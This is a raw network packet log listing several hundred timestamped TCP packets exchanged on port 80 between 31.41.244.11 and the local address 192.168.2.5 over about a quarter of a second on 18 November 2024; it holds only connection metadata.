Nov 18, 2024 19:04:14.070599079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.070610046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.070616007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.070626974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.070630074 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.070657015 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.070683956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.071331978 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.071346045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.071394920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.108839035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.108886003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.108899117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.109055996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.109067917 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.109078884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.109086037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.109158993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.109173059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.109194994 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.109210968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.109221935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.109266043 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.109386921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.109399080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.109411001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.109453917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.122288942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.122343063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.122351885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.122353077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.122385979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.122385979 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.122414112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.122431040 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.136581898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.136658907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.136671066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.136761904 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.136814117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.136847973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.136859894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.136872053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.136883020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.136903048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.136931896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.137164116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.137175083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.137221098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.137346029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.137357950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.137398005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.137640953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.137653112 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.137665033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.137676954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.137690067 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.137690067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.137777090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.137826920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.137876987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.137881994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.137895107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.137943983 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.138118982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.138132095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.138143063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.138154984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.138168097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.138173103 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.138201952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.138469934 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.138470888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.138483047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.138556004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.138556004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.138567924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.138580084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.138650894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.138715982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.138727903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.138788939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.185210943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.185293913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.185302973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.185328960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.185359001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.185368061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.185369015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.185385942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.185405970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.185455084 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.185576916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.185586929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.185597897 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.185632944 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.185661077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.186078072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186098099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186110020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186121941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186132908 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186136961 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.186188936 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.186341047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186391115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186398029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.186403036 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186429024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.186459064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.186521053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186532021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186585903 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.186913967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186924934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186935902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.186984062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.187036991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.187117100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.187128067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.187176943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.187228918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.187279940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.187823057 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.187833071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.187886953 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.187891960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.187947035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.187978029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.187988043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.187999964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188029051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.188069105 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.188102007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188113928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188159943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.188220024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188237906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188271999 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.188309908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.188708067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188718081 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188729048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188754082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188765049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188776970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188865900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.188865900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.188875914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188888073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188918114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188925028 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.188935041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.188983917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.189224958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189235926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189245939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189256907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189290047 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.189320087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.189826965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189837933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189848900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189860106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189872026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189888000 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189894915 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189896107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189897060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189898014 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.189904928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189915895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.189968109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.190943003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.190953970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.190963984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.190977097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.190988064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.190999985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.190999985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.191010952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.191021919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.191025972 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.191032887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.191045046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.191104889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.191104889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.227575064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.227653027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.227657080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.227667093 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.227724075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.227772951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.227823973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.227833986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.227865934 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.227900982 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.228040934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.228054047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.228070021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.228105068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.228137970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.228226900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.228238106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.228287935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.241652012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.241662979 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.241674900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.241717100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.241741896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.255731106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.255784035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.255856037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.255867004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.255913019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.255948067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.255960941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256007910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.256057978 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256068945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256079912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256091118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256108046 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.256108046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256139040 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.256158113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256164074 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.256164074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256171942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256176949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256181002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256207943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.256253958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.256710052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256715059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256716013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256721020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256777048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.256949902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256961107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256972075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256983042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.256994009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.257000923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.257009983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.257011890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.257033110 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.257061958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.257666111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.257677078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.257688046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.257709980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.257719994 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.257720947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.257740021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.257778883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.304079056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.304111958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.304122925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.304243088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.304254055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.304254055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.304267883 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.304280996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.304297924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.304327011 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.304519892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.304541111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.304548025 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.304549932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.304555893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.304609060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.305135012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305146933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305157900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305170059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305181026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305185080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.305193901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305246115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.305643082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305708885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.305727959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305738926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305782080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.305810928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305821896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305831909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305867910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.305958033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.305969000 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.306005955 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.306199074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.306247950 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.306655884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.306729078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.306739092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.306787968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.306859016 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.306869984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.306910992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.306993008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307003975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307043076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.307070017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.307125092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307136059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307146072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307157993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307168961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307172060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.307214022 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.307452917 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307463884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307475090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307487965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307497025 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.307499886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307512999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307524920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.307532072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307543993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307554960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.307559013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.307601929 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.307877064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308002949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308013916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308026075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308037996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308048964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308069944 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.308079004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.308103085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.308325052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308336020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308346987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308357954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308370113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308371067 CET	49977	80	192.168.2.5	31.41.244.11
